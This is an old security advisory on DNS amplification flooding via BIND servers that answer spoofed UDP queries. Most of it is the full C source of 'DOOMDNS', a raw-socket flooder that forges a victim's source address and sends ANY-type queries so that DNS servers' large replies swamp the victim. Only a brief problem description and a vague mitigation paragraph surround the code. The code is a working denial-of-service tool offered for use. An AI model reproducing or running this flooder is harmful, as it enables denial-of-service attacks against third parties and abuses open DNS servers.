COMMAND
BIND
SYSTEMS AFFECTED
All systems running Bind (All versions seems affected)
PROBLEM
Following is based on Digital Security for Y2K Advisory. This
misfeature was discovered configuring bind on a Red Hat 5.2
system shipped with the original cdrom, allowing udp dns requests
and without access lists. All domain name systems resides on
port 53 formely called domain. Looking at rfc and in particular at
RedHat system defaults seems that port 53 is enabled to support
udp and tcp requests as specified in /etc/services file:
domain 53/tcp
domain 53/udp
It's possible to flood someone sending spoofed UDP QUERY to the
DNS, because UDP doesn't provide a fruitful authentication
process. Why use DNS QUERY? Simple. We just want to make sure
we've got a real advantage against our nice target so we look for
a good I/O ratio. With just a few bytes (20-30) we can achieve
responses of around 400-500 bytes. So we usually achieve a 20x
ratio. Furthemore, every DNS reply will eligit ICMP unreach
packets from the target since no UDP port will be open to accept
data. A modem user compared with large RR of type * (0xFF) will
be flooded. Exploit code follows:
/******************************************************************
* *
* DOOMDNS Yet another flooder with 1:x pkts ratio. This one *
* exploits DNS simple QUERY with spoofed UDPs. *
* Since almost every DNS is bound to answer queries *
* from the void, and since UDP doesn't provide a *
* fruitful authentication process cause plain TCP *
* does, uh !? ;) here we are. *
* *
* hints by |scacco|, code by FuSyS *
* http://www.s0ftpj.org *
* *
******************************************************************/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <time.h>
#define IP_HEAD_BASE 20
#define UDP_HEAD_BASE 8
unsigned long saddr;
int sfd, loop;
char *dns_def[]={/* LISTA ASSENTE */ ,NULL};
char *domains[]={/* LISTA ASSENTE */ ,NULL};
struct DNS_MSG {
HEADER head;
char query[255];
};
struct dns_pkt {
struct iphdr ip;
struct udphdr udp;
char data[1000];
};
unsigned long nameResolve(char *hostname)
{
struct in_addr addr;
struct hostent *hostEnt;
if((addr.s_addr=inet_addr(hostname)) == -1)
{
if(!(hostEnt=gethostbyname(hostname)))
{
fprintf(stderr,"N0 SUCH H0ST:`%s`\n",hostname);
exit(0);
}
bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
}
return addr.s_addr;
}
void forge (unsigned long daddr, unsigned short src, unsigned short dst)
{
struct sockaddr_in sin;
struct dns_pkt dpk;
struct DNS_MSG killer;
int shoot, len;
memset(&killer, 0, sizeof(killer));
killer.head.id=getpid();
killer.head.rd=1;
killer.head.aa=0;
killer.head.opcode=QUERY;
killer.head.qr=0;
killer.head.qdcount=htons(1);
killer.head.ancount=htons(0);
killer.head.nscount=htons(0);
killer.head.arcount=htons(0);
strcat(killer.query, domains[--loop]);
killer.query[strlen(domains[loop])+2]=0x00FF;
killer.query[strlen(domains[loop])+4]=0x0001;
memset(&dpk, 0, sizeof(dpk));
dpk.udp.source=src;
dpk.udp.dest=dst;
len=(12+strlen(killer.query)+5);
dpk.udp.len=htons(UDP_HEAD_BASE+len);
memcpy(dpk.data, (void*)&killer, len);
dpk.ip.ihl=5;
dpk.ip.version=4;
dpk.ip.tos=0;
dpk.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+len);
dpk.ip.frag_off=0;
dpk.ip.ttl=64;
dpk.ip.protocol=IPPROTO_UDP;
dpk.ip.saddr=saddr;
dpk.ip.daddr=daddr;
memset(&sin, 0, sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=dst;
sin.sin_addr.s_addr=daddr;
shoot=sendto(sfd, &dpk,IP_HEAD_BASE+UDP_HEAD_BASE+len,
0, (struct sockaddr *)&sin, sizeof(sin));
if(shoot<0)fprintf(stderr, "SPOOF ERROR");
loop++;
}
void doomzone (void)
{
unsigned long daddr;
unsigned short source, dest;
if(dns_def[loop]==NULL) loop=0;
daddr=nameResolve(dns_def[loop++]);
source=htons(1024+(rand()%2000));
dest=htons(53);
forge(daddr, source, dest);
}
int main (int argc, char **argv)
{
int sfdo;
unsigned int hz=100;
if(argc<2) {
fprintf(stderr, "Interesting .... let's flood ourselves ?!\n");
fprintf(stderr, "Use: %s target [n]\n", argv[0]);
exit(0);
}
if(argv[2]) hz=atoi(argv[2]);
saddr=nameResolve(argv[1]);
srand(time(NULL));
if((sfd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) {
fprintf(stderr, "\nSOCK_RAW Died\n");
exit(2);
}
sfdo=1;
if(setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &sfdo, sizeof(sfdo))<0) {
fprintf(stderr, "\nIP_HDRINCL Died\n");
exit(3);
}
printf("\n\033[1;32mD00M DNS\033[0m");
printf("\n\033[1;34mDNS Flooder by FuSyS\033[0m");
printf("\n\033[1;34minithints by |scacco|\033[0m\n\n");
loop=0;
while(hz--) {
doomzone();
printf("\033[1;34m.\033[0m");
}
printf("\n\n");
return(0);
}
SOLUTION
Seems hard to fix this hole due to dns protocol specification, it
could be possible to setup access lists or some sort of packet
sanity check, for this we want suggest you to keep in contact
with ISC staff to get a more efficent solution for this problem.